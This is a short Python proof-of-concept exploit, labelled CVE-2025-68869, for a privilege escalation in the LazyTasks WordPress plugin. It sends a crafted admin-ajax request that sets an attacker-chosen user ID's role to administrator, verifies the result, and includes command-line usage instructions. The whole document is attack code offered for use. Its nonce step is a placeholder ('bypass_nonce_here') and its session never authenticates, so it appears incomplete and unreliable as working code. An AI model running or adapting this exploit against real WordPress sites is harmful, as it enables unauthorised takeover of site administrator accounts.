CVE-2025-68869

import requests import sys # CVE-2025-68869 LazyTasks Privilege Escalation PoC # Target: WordPress with LazyTasks plugin <= 1.2.37 def exploit_lazytasks(target_url, attacker_id, target_role='administrator'): """ Exploit Incorrect Privilege Assignment in LazyTasks plugin Args: target_url: Target WordPress site URL attacker_id: User ID to escalate (usually attacker controlled account) target_role: Role to assign (default: administrator) """ # Step 1: Get valid nonce by accessing admin page session = requests.Session() # Step 2: Exploit the privilege assignment vulnerability exploit_endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Craft malicious request to assign administrator role payload = { 'action': 'lazytasks_update_user_role', 'user_id': attacker_id, 'new_role': target_role, 'nonce': 'bypass_nonce_here' # Nonce bypass or extract from page } try: response = session.post(exploit_endpoint, data=payload, timeout=10) if response.status_code == 200: # Verify privilege escalation verify_url = f"{target_url}/wp-admin/users.php" verify_resp = session.get(verify_url) if target_role in verify_resp.text: print(f"[!] SUCCESS: Privilege escalation to {target_role} achieved!") return True print("[-] Exploitation failed or patch applied") return False except requests.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: python {sys.argv[0]} <target_url> <user_id>") print(f"Example: python {sys.argv[0]} http://example.com 2") sys.exit(1) target = sys.argv[1] user_id = sys.argv[2] exploit_lazytasks(target, user_id)

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